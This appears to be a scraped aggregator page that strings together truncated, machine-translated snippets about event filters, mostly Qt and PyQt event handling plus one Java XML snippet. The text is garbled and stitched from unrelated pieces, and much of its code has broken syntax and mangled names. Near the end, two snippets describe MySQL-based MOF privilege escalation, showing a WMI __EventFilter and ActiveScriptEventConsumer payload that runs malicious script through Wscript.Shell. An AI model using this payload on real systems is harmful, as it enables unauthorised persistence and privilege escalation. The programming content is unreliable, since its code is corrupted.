eventfilter

Just finished a project, in the test has a problem: because of the existence of multithreading, when the speech recognition: If the user clicks on the Program Interface button or other to accept the Click event will signal the widget, the program will crash! Later try to solve from the multi-threaded, but more difficult, and then only from another way to solve, that is: when the speech recognition: Disable all user action!The so-called disable all UI operation, on the handset and other handheld

Execute the required behavior in the monitored code. This can be achieved using Event Filter. Setting an Event Filter involves two steps: 1. Call installeventfilter () on the target object to register the monitoring object to the target object.2. Process events of the target object in the eventfilter () method of the monitoring object. Registering a monitoring object in the Ctor is a good place:Customerinfodialog: customerinfodialog (qwidget * paren

A recent test showed that eventfilter of QT could not filter mouse events, such as mousemove, mousepress, and mouserelease,It turns out that the installation of installeventfilter (qobject *) is incorrect. See the QT example: class MainWindow : public QMainWindow { public: MainWindow(); protected: bool eventFilter(QObject *obj, QEvent *ev); private: QTextEdit *textEdit; }; MainWindow::MainWindo

I believe everyone has used a dictionary! Because English is not very good ... O (∩_∩) o~, so often the translation of the word! Briefly Realize Effect Source More references RealizePrinciple: Move the mouse over a word, get the mouse position, and then in the corresponding position to take the word, translation!Based on this principle, we implement a qtooltip for each word.EffectSourceCreate Qtextedit formations, and then listen to events through Ins

Use of the PyQt event filter (EventFilter)Read 13 times 2014/8/5 19:47:24#-*-coding:cp936-*-#由于现在不是很明白: The Use of event filters (EventFilter), the first collectionFrom PYQT4 import Qtgui, QtcoreClass Window (Qtgui.qmainwindow):def __init__ (self):Qtgui.qmainwindow.__init__ (self)Widget = Qtgui.qwidget (self)Layout = Qtgui.qvboxlayout (widget)Self.edit = Qtgui.qlineedit (self)Self.list = Qtgui.qlistwidget (

requires the following 2 steps:1, call Installeventfilter () to register the objects that need to be managed.2, in EventFilter () handles the event of the object that needs to be managed.In general, it is recommended to register managed objects in the Customerinfodialog constructor. Like this:Customerinfodialog::customerinfodialog (Qwidget *parent): Qdialog (parent) {...Firstnameedit->installeventfilter (this);Lastnameedit->installeventfilter (this);

tab to make the focus switch between these qlineedit.A workaround is to subclass the Qlineedit, re-implement Keypressevent (), and Invoke Focusnextchild () in Keypressevent (). Like this:void MyLineEdit::keyPressEvent(QKeyEvent *event) { if (event->key() == Qt::Key_Space) { focusNextChild(); } else { QLineEdit::keyPressEvent(event); } } 1 2 3 4 5 6 7 8 9 10 11 But there is one drawback. If there are many different controls (such as Qcom

immediately and are synchronized. In fact qapplication::sendevent () is directly into the dispatch and processing of the event by calling Qapplication::notify (). (ii) Distribution and handling of incidents First, the concept of event filter in Qt is explained.Event filters are a unique event-handling mechanism in QT that is powerful and flexible to use.It allows an object to listen for events that intercept another object. The event filter is implemented in this way: There is a member variable

After QT creates a qevent event object, it calls the qobject event () function for event distribution. Sometimes, you may need to do some other operations before calling the event () function. For example, some components in the dialog box may not need to respond to the event of press Enter. At this time, you need to redefine the event () function of the component. If there are many components, You need to rewrite the event () function many times, which is obviously inefficient. Therefore, you c

install event filtersAfter QT creates the Qevent event object, it calls Qobject's event () function to distribute the event. Sometimes, you may need to do something else before calling the event () function, for example, some components on a dialog box may not need to respond to a carriage-down event, and you will need to redefine the component's event () function. If there are many components, you need to rewrite the event () function many times, which is obviously inefficient. To do this, you

distribute custom events. Otherwise, your custom events will never be called. Create event filters and install event Filters After QT creates a qevent event object, it calls the qobject event () function for event distribution. Sometimes, you may need to do some other operations before calling the event () function. For example, some components in the dialog box may not need to respond to the event of press Enter. At this time, you need to redefine the event () function of the component. If the

When QT creates a Qevent event object, it invokes the Qobject event () function to distribute the events. Sometimes you may need to do something else before calling the event () function, for example, some components on the dialog may not need to respond to the event of a carriage return, at which point you will need to redefine the component event () function. If you have a lot of components, you need to rewrite the event () function more than once, which is obviously inefficient. To do this, y

();# EndifMousepressevent (qmouseevent *) event );Break; Case qevent: mousebuttonrelease:Mousereleaseevent (qmouseevent *) event );Break; Case qevent: mousebuttondblclick:Mousedoubleclickevent (qmouseevent *) event );Break;# Ifndef qt_no_wheeleventCase qevent: wheel:Wheelevent (qwheelevent *) event );Break;# Endif............Then, rewrite the RESPONSE event processing function (overwrite the default virtual function, such as event and keypressevent) in the qwidget derived class that needs to pr

retrieved from the parser, the application usually needs to convert it down to the sub-type of xmlevent to access information of this specific type. Xmlevent provides the geteventtype () method to return the event constants defined in xmlstreamconstants, and can perform downward type conversion based on this information. In addition, xmlevent also provides a Boolean query method, for example, if isstartelement () returns true, it indicates that this is a startelement. asstartelement (), asendel

. This is the method of event filtering. To implement an Event Filter, two steps are involved: 1. Call installeventfilter () on the target object to register the monitoring object. 2. Process events of the target object in the eventfilter () function of the Monitored object. The location of the registered monitoring object is in the merinfodialog constructor: mermerinfodialog (qwidget * parent): qdialog (parent ){... firstnameedit-> installeventfilter

every five seconds, so only the malicious code needs to be written to the file.Use code in public nullevt.mof online#pragma namespace ("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter {eventnamespace = "root\\cimv2 ”; Name = "FiltP2"; Query = "SELECT * from __InstanceModificationEvent" "Where targetinstance Isa \" Win32_localtime\ "" and targetinstance.se cond = 5 "; QueryLanguage = "WQL";}; Instance of Activescripteventconsumer

File' intoDumpFile'C:\\Program Files\\mysql\\mysql Server 5.1\\lib\\plugin:: $INDEX _allocation';//Create a plugin directory　　2.MOF right to liftFind a writable directory to upload MOF files, such as C:\RECYCLER\This payload is using Wscript.Shell.#pragma namespace ("\\\\.\\root\\subscription") instance of__EventFilter as$EventFilter {eventnamespace="Root\\cimv2"; Name="FiltP2"; Query="Select * from__instancemodificationevent ""Wheretargetinstance

completing these steps, when an event is generated in the target part, it is first passed to the monitoring object (Event Filter) processing, not the event processor corresponding to the event. Therefore, we can intercept events for processing. After the Monitored object intercepts the event of the target object, it calls its eventFilter () function to process the event.To sum up, there are two steps:1. Call installEventFilter () on the target object

Void qobject: installeventfilter (qobject * Filterobj) Installan Event FilterFilterobjOn this object. For example: monitoredObj->installEventFilter(filterObj); An event filter is an object that has es all events that are sent to this object. The filter can either stop the event or forward it to this object. The Event FilterFilterobjReceives events via its eventfilter ()Function. The eventfilter () function

screen saver, and then remove the filter. Because the qwsserver class is directly defined in QT and is a virtual base class, it must be reloaded before it can be used. It can be used only after the SAVE () and restore () functions in this class are reloaded, this part explains in the screen saver section that to implement the signal slot function, this class must be inherited in multiple ways. It inherits the qwsserver class and the qobject class before it can implement the function of the sign